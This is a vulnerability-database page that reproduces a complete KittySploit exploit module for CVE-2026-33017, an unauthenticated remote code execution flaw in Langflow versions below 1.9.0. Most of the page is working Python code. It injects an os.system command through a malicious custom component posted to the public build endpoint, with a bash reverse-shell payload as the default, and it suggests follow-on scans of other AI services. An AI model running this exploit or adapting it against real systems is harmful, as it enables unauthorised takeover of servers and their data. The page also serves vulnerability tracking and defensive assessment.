Lucene search
+L

Langflow < 1.9.0 Public Build RCE (CVE-2026-33017)

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated remote code execution in Langflow via posting to /api/v1/build_public_tmp/.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Command Injection in Paloaltonetworks Pan-Os
30 Mar 202613:39
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
22 May 202622:01
–githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
16 Jul 202617:13
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
13 Apr 202618:33
–githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
28 Aug 202606:38
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
20 Apr 202614:54
–githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
1 Sep 202618:29
–githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
4 Jul 202621:54
–githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
2 Jul 202609:47
–githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
21 Aug 202604:18
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Langflow < 1.9.0 Public Build RCE (CVE-2026-33017)",
        "description": (
            "CVE-2026-33017: Langflow versions below 1.9.0 allow unauthenticated remote code "
            "execution by posting a malicious custom component to "
            "/api/v1/build_public_tmp/{flow_id}/flow with a client_id session cookie."
        ),
        "author": ["Diamorphine", "KittySploit Team"],
        "cve": ["CVE-2026-33017"],
        "references": [
            "https://www.langflow.org/",
            "https://www.cve.org/CVERecord?id=CVE-2026-33017",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD, Arch.PYTHON],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.SINGLE,
        },
        "tags": ["langflow", "rce", "unauthenticated", "cve-2026-33017"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 'medium',
        'noise': 'medium',
        'value': 'high',
        'chain':         {'produces_capabilities': [{'capability': 'ai_panel', 'from_detail': ''},
                                   {'capability': 'misconfig_surface', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['scanner/http/ollama_api_verify',
                                 'scanner/http/openwebui_unauth_verify',
                                 'scanner/http/comfyui_unauth_verify',
                                 'scanner/http/mlflow_unauth_verify']},
    },
    }

    port = OptPort(7860, "Target port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    path = OptString("/", "Base path where Langflow is exposed", required=False)
    flow_id = OptString("", "Target flow ID (from /api/v1/flows/ or the UI URL)", required=True)
    client_id = OptString("", "Langflow client_id cookie value", required=True)
    command = OptString("", "Command to execute instead of the selected payload", required=False)

    @staticmethod
    def _version_lt(v1: str, v2: str) -> bool:
        def norm(v):
            out = []
            for token in str(v).split("."):
                digits = "".join(ch for ch in token if ch.isdigit())
                out.append(int(digits) if digits else 0)
            while len(out) < 3:
                out.append(0)
            return tuple(out[:3])

        return norm(v1) < norm(v2)

    def _api_path(self, suffix: str) -> str:
        base = str(self.path or "/").strip() or "/"
        if not base.startswith("/"):
            base = f"/{base}"
        if base.endswith("/"):
            base = base[:-1]
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return suffix if base == "" else f"{base}{suffix}"

    def _resolve_command(self) -> str:
        user_command = str(self.command or "").strip()
        if user_command:
            return user_command
        if not self.payload:
            raise ValueError("No payload configured; set LHOST/LPORT or use COMMAND")
        return str(self.payload)

    @staticmethod
    def _escape_for_python_string(value: str) -> str:
        return value.replace("\\", "\\\\").replace('"', '\\"')

    def _build_component_code(self, command: str) -> str:
        escaped = self._escape_for_python_string(command)
        return (
            "import os\n\n"
            f'_x = os.system("{escaped}")\n\n'
            "from lfx.custom.custom_component.component import Component\n"
            "from lfx.io import Output\n"
            "from lfx.schema.data import Data\n\n"
            "class ExploitComp(Component):\n"
            '    display_name="X"\n'
            '    outputs=[Output(display_name="O",name="o",method="r")]\n'
            "    def r(self)->Data:\n"
            "        return Data(data={})"
        )

    def _build_flow_payload(self, command: str) -> dict:
        code = self._build_component_code(command)
        return {
            "data": {
                "nodes": [
                    {
                        "id": "Exploit-001",
                        "type": "genericNode",
                        "position": {"x": 0, "y": 0},
                        "data": {
                            "id": "Exploit-001",
                            "type": "ExploitComp",
                            "node": {
                                "template": {
                                    "code": {
                                        "type": "code",
                                        "required": True,
                                        "show": True,
                                        "multiline": True,
                                        "value": code,
                                        "name": "code",
                                        "password": False,
                                        "advanced": False,
                                        "dynamic": False,
                                    },
                                    "_type": "Component",
                                },
                                "description": "X",
                                "base_classes": ["Data"],
                                "display_name": "ExploitComp",
                                "name": "ExploitComp",
                                "frozen": False,
                                "outputs": [
                                    {
                                        "types": ["Data"],
                                        "selected": "Data",
                                        "name": "o",
                                        "display_name": "O",
                                        "method": "r",
                                        "value": "__UNDEFINED__",
                                        "cache": True,
                                        "allows_loop": False,
                                        "tool_mode": False,
                                        "hidden": None,
                                        "required_inputs": None,
                                        "group_outputs": False,
                                    }
                                ],
                                "field_order": ["code"],
                                "beta": False,
                                "edited": False,
                            },
                        },
                    }
                ],
                "edges": [],
            },
            "inputs": None,
        }

    def check(self):
        try:
            response = self.http_request(
                method="GET",
                path=self._api_path("/api/v1/version"),
                timeout=15,
            )
            if not response or response.status_code != 200:
                return {
                    "vulnerable": False,
                    "reason": "Unexpected response from /api/v1/version",
                    "confidence": "low",
                }

            try:
                body = response.json()
            except Exception:
                body = {}

            version = str(body.get("version", "")).strip()
            if not version:
                return {
                    "vulnerable": False,
                    "reason": "Unable to parse Langflow version",
                    "confidence": "low",
                }

            if not self._version_lt(version, "1.9.0"):
                return {
                    "vulnerable": False,
                    "reason": f"Version {version} detected (patched >= 1.9.0)",
                    "confidence": "high",
                }

            return {
                "vulnerable": True,
                "reason": f"Langflow {version} (< 1.9.0) detected",
                "confidence": "high",
            }
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {exc}",
                "confidence": "low",
            }

    def run(self):
        flow_id = str(self.flow_id or "").strip()
        client_id = str(self.client_id or "").strip()
        if not flow_id:
            print_error("FLOW_ID is required")
            return False
        if not client_id:
            print_error("CLIENT_ID is required")
            return False

        check_result = self.check()
        if not check_result.get("vulnerable"):
            print_error(check_result.get("reason", "Target does not appear vulnerable"))
            return False
        print_success(check_result["reason"])

        try:
            command = self._resolve_command()
        except ValueError as exc:
            print_error(str(exc))
            return False

        payload = self._build_flow_payload(command)
        url = self._api_path(f"/api/v1/build_public_tmp/{flow_id}/flow")

        print_status(f"Triggering public build on flow {flow_id}...")
        try:
            response = self.http_request(
                method="POST",
                path=url,
                headers={"Content-Type": "application/json"},
                data=json.dumps(payload),
                cookies={"client_id": client_id},
                allow_redirects=False,
                timeout=30,
            )
        except Exception as exc:
            if "timed out" in str(exc).lower() or "timeout" in str(exc).lower():
                print_success("Request timed out; reverse shell may have connected")
                return True
            print_error(f"Exploitation request failed: {exc}")
            return False

        if response is None:
            print_error("No response from target")
            return False

        status = response.status_code
        if status == 200:
            print_success(f"Build request completed (HTTP {status})")
            print_info("If the target is vulnerable, a callback should follow.")
            return True

        print_error(f"Unexpected response (HTTP {status})")
        body = (response.text or "").strip()
        if body:
            print_info(body[:500])
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2026 12:39Current
9.2Critical risk
Vulners AI Score9.2
CVSS 3.19.8
CVSS 49.3
EPSS0.24755
SSVC
2